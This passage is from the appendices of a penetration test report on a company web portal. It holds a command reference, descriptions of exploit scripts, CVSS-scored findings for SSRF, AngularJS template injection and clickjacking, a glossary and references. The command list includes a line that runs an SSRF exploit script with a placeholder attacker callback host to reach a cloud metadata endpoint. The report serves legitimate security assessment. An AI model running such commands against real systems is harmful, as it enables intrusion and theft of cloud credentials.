cURL	7.81.0	Command-line tool for transferring data with URLs
Python	3.10.6	Language for running custom proof-of-concept scripts

---

C.2: Custom Script Documentation

Script Name	Language	Purpose
`dialogflow_ssrf.py`	Python	Automates the exploitation of SSRF vulnerabilities in Google Dialogflow webhook integrations.
`gcs_bucket_exploit.py`	Python	Tests for and exploits misconfigured Google Cloud Storage buckets (e.g., public write access).
`subdomain_takeover.py`	Python	Checks a list of subdomains for dangling DNS records pointing to services vulnerable to takeover.
`angular_analysis.py`	Python	Statically analyzes JavaScript files to identify outdated AngularJS versions and potential CSTI sinks.
`atlantis_advanced_chain.py`	Python	Chains multiple weaknesses in an Atlantis instance to achieve remote access or information disclosure.
`clickjacking_poc.html`	HTML/JS	A simple proof-of-concept page to demonstrate the viability of a clickjacking attack.
`angular_exploit_poc.html`	HTML/JS	Proof-of-concept demonstrating a client-side template injection (CSTI) payload execution.

C.3: Command Reference Guide

Below is a sample of the commands executed during the assessment.

- **Nmap Service Scan:**
  `nmap -sV -p- -T4 portal.abccorp.co.uk -oN evidence/nmap_service_scan.txt`
- **GoBuster Directory Scan:**
  `gobuster dir -u https://portal.abccorp.co.uk -w /usr/share/wordlists/dirb/common.txt -t 20 -o evidence/gobuster_output.txt`

- **Nikto Web Scan:**
  `nikto -h https://portal.abccorp.co.uk -Tuning 2,3,4 -o evidence/nikto_output.txt -Format txt`
- **SSLScan:**
  `sslscan --no-fallback --tlsall portal.abccorp.co.uk > evidence/sslscan_results.txt`
- **Subdomain Enumeration:**
  `subfinder -d abccorp.co.uk -o evidence/subdomains_subfinder.txt`
- **SSRF Exploitation:**
  `python3 payloads/dialogflow_ssrf.py --url https://portal.abccorp.co.uk/ dialogflow/webhook --callback-host <ATTACKER_IP>:8000 --target-url http://123.456.123.456/latest/meta-data/`
- **AngularJS Exploit Search:**
  `searchsploit "AngularJS 1.5"`

Appendix D: Vulnerability Details

This appendix provides detailed information for each identified vulnerability, including CVE references and CVSS scoring.

D.1: SSRF in Dialogflow Integration (ONE-2023-001)

- **Description:** The `/dialogflow/webhook` endpoint was found to be vulnerable to Server-Side Request Forgery. The application forwards requests to a URL provided within a JSON payload without proper validation, allowing an attacker to force the server to make requests to internal and external resources.
- **CVE Reference:** N/A (Misconfiguration-based)
- **CVSS 3.1 Score:** `9.3 (Critical)`
- **CVSS 3.1 Vector:** `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N`
- **Attack Vector (AV): Network:** The vulnerability is exploitable remotely.
- **Attack Complexity (AC): Low:** No special conditions or user interaction are required.
- **Privileges Required (PR): None:** The endpoint is unauthenticated.
- **User Interaction (UI): None:** No user interaction is needed.
- **Scope (S): Changed:** The exploit impacts components beyond its immediate security scope (e.g., internal network services, cloud metadata endpoints).

- **Confidentiality (C): High:** Allows exfiltration of sensitive data from internal services and cloud metadata.
- **Integrity (I): Low:** Allows for limited interaction with internal services (e.g., triggering actions via GET requests).
- **Availability (A): None:** The vulnerability does not directly impact system availability.
- **Exploit Database Links:**
- General SSRF Information: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

---

D.2: Client-Side Template Injection (ONE-2023-002)

- **Description:** The application uses an outdated version of AngularJS (1.5.8), which is vulnerable to sandbox escape, leading to Client-Side Template Injection (CSTI). An attacker can inject malicious AngularJS expressions into the DOM, bypassing the sandbox to execute arbitrary JavaScript in the context of the user's session.
- **CVE Reference:** CVE-2016-9246 (and others related to AngularJS 1.5.x sandbox escapes)
- **CVSS 3.1 Score:** `6.1 (Medium)`
- **CVSS 3.1 Vector:** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
- **Attack Vector (AV): Network:** The vulnerability is exploitable remotely.
- **Attack Complexity (AC): Low:** The exploit payload is well-known.
- **Privileges Required (PR): None:** Attacker needs to trick a user into interacting with a crafted link.
- **User Interaction (UI): Required:** The victim must visit a malicious URL or interact with a compromised page element.
- **Scope (S): Changed:** A successful exploit can affect components outside the web page's security scope (e.g., browser plugins, other origins if misconfigured).
- **Confidentiality (C): Low:** Can lead to theft of session cookies or sensitive data on the page.
- **Integrity (I): Low:** Can lead to modification of the page content or performing actions on behalf of the user.
- **Availability (A): None:** The vulnerability does not directly impact system availability.
- **Exploit Database Links:**
- PortSwigger - Client-Side Template Injection: https://portswigger.net/web-security/cross-site-scripting/client-side-template-injection

---

D.3: Clickjacking (UI Redressing) (ONE-2023-003)

- **Description:** Although the `X-Frame-Options: SAMEORIGIN` header is present, it may not be sufficient to prevent clickjacking on all modern browsers, especially for complex attacks. A robust `Content-Security-Policy` with a `frame-ancestors` directive is the recommended best practice.
- **CVE Reference:** N/A (Common Web Misconfiguration)
- **CVSS 3.1 Score:** `4.7 (Medium)`
- **CVSS 3.1 Vector:** `AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`
- **Attack Vector (AV): Network:** The vulnerability is exploitable remotely.
- **Attack Complexity (AC): Low:** Creating a malicious framing page is trivial.
- **Privileges Required (PR): None:** Unauthenticated attack.
- **User Interaction (UI): Required:** The victim must be tricked into clicking on the invisible framed page.
- **Scope (S): Unchanged:** The exploit impacts the application itself.
- **Confidentiality (C): Low:** Limited to what can be inferred from the user's clicks.
- **Integrity (I): Low:** The user can be tricked into performing unintended actions.
- **Availability (A): None:** The vulnerability does not directly impact system availability.
- **Exploit Database Links:**
- OWASP - Clickjacking: https://owasp.org/www-community/attacks/Clickjacking

---

Appendix E: Glossary

Term / Acronym	Definition
AngularJS	A JavaScript-based open-source front-end web framework. Older versions are known for security vulnerabilities like CSTI.
API	Application Programming Interface. A set of rules and protocols for building and interacting with software applications.
CDN	Content Delivery Network. A geographically distributed network of proxy servers and their data centers. (e.g., Cloudflare).
Clickjacking	An attack that tricks a user into clicking on something different from what the user perceives, potentially revealing confidential information or taking control of their computer.
Cloudflare	A company that provides a CDN, DDoS mitigation, Internet security, and distributed domain name server services.
CSTI	Client-Side Template Injection. A vulnerability where an attacker can inject malicious template code that is executed on the client-side (browser).
CVE	Common Vulnerabilities and Exposures. A list of publicly disclosed computer security flaws.
CVSS	Common Vulnerability Scoring System. A free and open industry standard for assessing the severity of computer system security vulnerabilities.
DNS	Domain Name System. The hierarchical and decentralized naming system used to identify computers reachable through the Internet.
Nmap	Network Mapper. A free and open-source utility for network discovery and security auditing.
OWASP	Open Web Application Security Project. An online community that produces freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security.
PTES	Penetration Testing Execution Standard. A standard designed to provide a common language and scope for penetration testing.
SSRF	Server-Side Request Forgery. A web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

Term / Acronym	Definition
SSL/TLS	Secure Sockets Layer / Transport Layer Security. Cryptographic protocols designed to provide communications security over a computer network.
Subdomain Takeover	A vulnerability where an attacker gains control over a subdomain of a target domain due to a misconfigured DNS record.
XSS	Cross-Site Scripting. A type of security vulnerability that can be found in some web applications, allowing attackers to inject client-side scripts into web pages viewed by other users.

Appendix F: References

This appendix lists external standards, methodologies, and resources referenced during the assessment and in this report.

F.1: Standards and Methodologies

- **OWASP Top 10 2021:** The Open Web Application Security Project's list of the ten most critical web application security risks.
- *URL:* `https://owasp.org/Top10/`
- **OWASP Web Security Testing Guide (WSTG):** A comprehensive guide to testing the security of web applications and web services.
- *URL:* `https://owasp.org/www-project-web-security-testing-guide/`
- **Penetration Testing Execution Standard (PTES):** A standard that provides a baseline for penetration testing processes and reporting.
- *URL:* `http://www.pentest-standard.org/`
- **NIST SP 800-115:** Technical Guide to Information Security Testing and Assessment.
- *URL:* `https://csrc.nist.gov/publications/detail/sp/800-115/final`

F.2: Vulnerability and Security Resources

- **MITRE ATT&CK Framework:** A globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.

- *URL:* `https://attack.mitre.org/`
- **PortSwigger Web Security Academy:** A free online training center for web application security.
- *URL:* `https://portswigger.net/web-security`
- **SSRF Prevention Cheat Sheet (OWASP):** A guide for developers on how to prevent Server-Side Request Forgery vulnerabilities.
- *URL:* `https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html`
- **AngularJS Security:** Documentation and articles related to securing AngularJS applications.
- *URL:* `https://docs.angularjs.org/guide/security`
